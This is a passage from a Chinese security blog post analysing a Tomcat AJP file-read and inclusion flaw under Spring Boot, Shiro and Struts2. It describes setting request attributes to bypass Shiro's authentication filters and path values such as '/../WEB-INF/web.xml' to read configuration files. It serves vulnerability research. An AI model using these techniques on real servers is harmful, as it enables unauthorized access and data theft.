boot内部代码来调用Tomcat提供Web服务。这种方式默认AJP是不开启的。</span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">若开启AJP，</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">DefaultServlet</span></span><span style="font-size: 14px;letter-spacing: 1px;">的匹</span><span style="font-size: 14px;"><span style="letter-spacing: 1px;">配路径也会将</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">org.springframework.web.servlet.DispatcherServlet</span><span style="letter-spacing: 1px;">覆盖，而</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">JspServlet</span><span style="letter-spacing: 1px;">这个是没有被注册的，因为该类在</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">jasper.jar</span><span style="letter-spacing: 1px;">中，Spring boot默认的依赖中没有。</span></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">这里值得一提的是有一种情况是可以触发漏洞的，当Spring boot需要以JSP为视图模版时，jasper.jar需要被引入。通过调试Spring boot发现会自动注册一个将</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">*.jsp</span><span style="letter-spacing: 1px;">和</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">*.jspx</span><span style="letter-spacing: 1px;">给</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">Jspservlet</span><span style="letter-spacing: 1px;">的处理的</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">mapper</span><span style="letter-spacing: 1px;">，具体参考以下两处源码。</span></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 14px;">org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory#prepareContext</span></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.2217391304347826" data-s="300,640" style="" data-type="png" data-w="920" src="https://wechat2rss.xlab.app/img-proxy/?k=a965b477&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLexOcXZomrmiaxicPKsoPfHEqgo3mFAliavR9O5xZl6cXOD0tWAAdJ1Z1qyA%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">org.springframework.boot.web.servlet.server.AbstractServletWebServerFactory#shouldRegisterJspServlet</span><br/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;letter-spacing: 1px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.22734375" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ed5be480&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLexPWicdyguO6ro92w01Re0ks44apyge2KQN41lXVUQNoRezJ9C6lCrNQg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 1px;">5.2 外置Tomcat</span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">外置就是把</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">SpringBoot</span><span style="letter-spacing: 1px;">项目打成war，部署到tomcat的webapps目录下。这种情况下的检测和Spirng MVC情况一样。</span></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 14px;"> </span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">所以综合来看，内置情况下只有配置开启了</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">AJP</span><span style="letter-spacing: 1px;">并引入了</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">jasper.jar</span><span style="letter-spacing: 1px;">才可以被利用，这种情况较少。外置情况下可以直接利用，这种情况也较少。</span></span><span style="text-decoration: none;"><strong><span style="text-decoration: none;font-size: 14px;letter-spacing: 1px;color: rgb(171, 25, 66);">所以我认为Spring boot出现该漏洞的可能性不大。</span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);font-size: 18px;"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x05 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(0, 0, 0);font-size: 18px;"><strong><span style="letter-spacing: 1px;">情况四：shiro环境下 </span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 5px;"><span style="letter-spacing: 1px;font-size: 14px;">经典配置下shiro过滤器会对所有路径进行过滤，对url的访问权限有如下5个属性。</span></p><section><br/></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-size: 14px;font-weight: bold;"><p><strong><span style="font-size: 14px;">anon: 无需认证即可访问</span></strong></p></li><li style="font-size: 14px;font-weight: bold;"><section><strong><span style="font-size: 14px;">authc: 需要认证才可访问</span></strong></section></li><li style="font-size: 14px;font-weight: bold;"><section><strong><span style="font-size: 14px;">user: 点击“记住我”功能可访问</span></strong></section></li><li style="font-size: 14px;font-weight: bold;"><section><strong><span style="font-size: 14px;">perms: 拥有权限才可以访问</span></strong></section></li><li style="font-size: 14px;font-weight: bold;"><section><strong><span style="font-size: 14px;">role: 拥有某个角色权限才能访问</span></strong></section></li></ul><section style="margin-bottom: 5px;"><span style="font-size: 14px;"><strong><span style="letter-spacing: 1px;"><br/></span></strong></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">假设配置如下，在未登录情况下只能访问被配置为</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">anon</span><span style="letter-spacing: 1px;">权限的</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">login.jsp</span><span style="letter-spacing: 1px;">，访问其他链接都会302跳转至登录页面。所以只能请求这个页面来触发漏洞。</span></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.49369085173501576" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=fa68ba6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfYladgFmJ9s1WQ82jTy4YxiaKjPp7VomSx30gibwm8fBeXZicvKPlxtaFHyicRq2HApFzc65BwfVdtOQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 5px;"><span style="font-size: 14px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">但我们在自动化中如何发现被配置为</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">anon</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">权限的URL呢？实验室的</span></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 14px;color: rgb(217, 33, 66);">@背影</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">师傅给了一条很重要的提示，</span><strong><span style="font-size: 14px;color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">可以通过该漏洞设置request对象属性</span></strong><span style="color: rgb(217, 33, 66);"><strong><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">shiroFilter: 1</span></strong></span><strong><span style="font-size: 14px;color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">来“关闭”shiro的拦截功能。</span></strong><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 5px;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><br/></span></section><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 5px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">如果</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">request</span><span style="letter-spacing: 1px;">对象的属性名</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">alreadyFilteredAttributeName</span><span style="letter-spacing: 1px;">的值不为空，那么将直接交给</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">Tomcat</span><span style="letter-spacing: 1px;">的</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">servlet</span><span style="letter-spacing: 1px;">处理，相当于关闭了</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">shiro</span><span style="letter-spacing: 1px;">的拦截！</span></span></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.32734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9c15c5bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLexaECYV4Y6pbsyMVhF5BdWOLn7tdDKDKGE9lGFLTBswJicTKVQB7Jbs5A%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">alreadyFilteredAttributeName</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">变量等于</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">shiro过滤器名</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">+</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">.FILTERED</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">。通过查看代码发现</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">shiroFilter</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">其实是</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">web.xml</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">设置的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">shiro</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">过滤器名，这是由开发人员自定义的，故带来了新的问题。</span></span><span style="font-size: 14px;color: rgb(171, 25, 66);"><strong><span style="font-size: 14px;color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">若不知道shiro过滤器名怎么办呢？</span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.34065934065934067" data-s="300,640" style="" data-type="png" data-w="1092" src="https://wechat2rss.xlab.app/img-proxy/?k=e48b0d14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLexF7Ih5FDTT6cExQNbjhVa1f6u2Hqrpj1BuVukLHmKKGcyPuCjnR0C7A%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">通过调试</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">shiro</span><span style="letter-spacing: 1px;">，发现请求会被上面说的5种权限过滤器，依次匹配并处理。最重要的是它们的名字固定！于是按照同样的方法，都给它们设置上已过滤flag，即可绕过shiro的限制。具体请求构造如下：</span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5732647814910026" data-s="300,640" style="" data-type="png" data-w="778" src="https://wechat2rss.xlab.app/img-proxy/?k=05adb780&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfYladgFmJ9s1WQ82jTy4Yx8ia1QnGUhMc4rj5x74JWMf28zxJXqPJuL4ic4wwelna2SqtxzMbvskEw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);font-size: 18px;"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><strong style="color: rgb(255, 255, 255);font-size: 18px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x06 </span></strong><br/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(0, 0, 0);font-size: 18px;"><strong><span style="letter-spacing: 1px;">情况五：Struts2环境下 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"><br/></span></p><section style="line-height: 2em;text-align: left;margin-left: 8px;margin-right: 8px;margin-bottom: 10px;"><span style="font-size: 14px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;">以下分析的是Struts2 2.5.22</span><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 10px;"><span style="letter-spacing: 1px;font-size: 14px;">使用Struts2框架一般需要设置如下的全局过滤器</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.2859375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=80ed2c4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfYladgFmJ9s1WQ82jTy4YxiaUGZaoiaII0jBh30RPOZG5tFF0pBRsMPSIXzRrhp1ficQVpSHMqLA65w%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">该过滤器默认会将后缀为</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">空</span><span style="letter-spacing: 1px;">和</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">.action</span><span style="letter-spacing: 1px;">的URL请求，交给</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">Struts2</span><span style="letter-spacing: 1px;">的</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">Action</span><span style="letter-spacing: 1px;">处理，而其他后缀就交给Tomcat默认Servlet处理，漏洞利用需要让其走后者。</span></span><br/></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2374cb04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLexkXgAr0ntkrTS3h0pVdCHvLbEa2h6xApmicPr6wL3MErEReJpwboYicLQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">然而在请求路径的获取上Struts2有别于其他环境，这是导致漏洞利用方式稍有不同。它通过</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">request</span><span style="letter-spacing: 1px;">对象的</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">javax.servlet.include.servlet_path</span><span style="letter-spacing: 1px;">属性获取，而不是</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">request.getServletPath()</span><span style="letter-spacing: 1px;">。</span></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 10px;"><span style="letter-spacing: 1px;font-size: 14px;">org.apache.struts2.dispatcher.mapper.DefaultActionMapper#getUri()</span></section><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.30625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c603a1d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLexUshXbRBuicTNHNV2Nl8FibDleP8aDCEfrqibnKKB6uicj3KQ9J1fGUyAdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">所以我们在这里必须设置该属性值为非空非</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">.action</span><span style="letter-spacing: 1px;">的后缀</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">test.jsp</span><span style="letter-spacing: 1px;">,才能让Tomcat的</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">JspServlet</span><span style="letter-spacing: 1px;">来处理。但是如果我们还是使用原来的方式读</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">/WEB-INF/web.xml</span><span style="letter-spacing: 1px;">是行不通的，因为最终构造的路径如下是错误的。</span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.2427007299270073" data-s="300,640" style="" data-type="png" data-w="1096" src="https://wechat2rss.xlab.app/img-proxy/?k=19a7d641&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfYladgFmJ9s1WQ82jTy4Yx2LCib4fq8SiacMFAicXRgjbe9yNsdHuTe30KA3ib6Zw2lrRfypmk1rEXtw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">那我们能否将</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">javax.servlet.include.path_info</span><span style="letter-spacing: 1px;">设置为</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">/../WEB-INF/web.xml</span><span style="letter-spacing: 1px;">来吃掉</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">1.jsp</span><span style="letter-spacing: 1px;">形成正确路径呢？答案是可以的！</span></span><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">可能看过我之前漏洞分析文章的朋友会说，不是说路径里不能使用</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">../</span><span style="letter-spacing: 1px;">进行跳目录么？其实是可以跳目录，只是不能跳出</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">webapps</span><span style="letter-spacing: 1px;">而已。这里重新说明下路径校验函数</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">normalized()</span><span style="letter-spacing: 1px;">的功能。</span></span></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.57421875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cdb3ca1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLex4ZLK1HRBw9K7kH9czS5gtSGvPJbHJaIhsWnHRmTiaSB9MYRdlk629Rw%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">该方法的功能是中和掉路径中的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">./</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">和</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">../</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">，比如</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">/a/.//b/../c</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">就会被中和为</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">/a/c</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">。如果最后依然存在</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">../</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 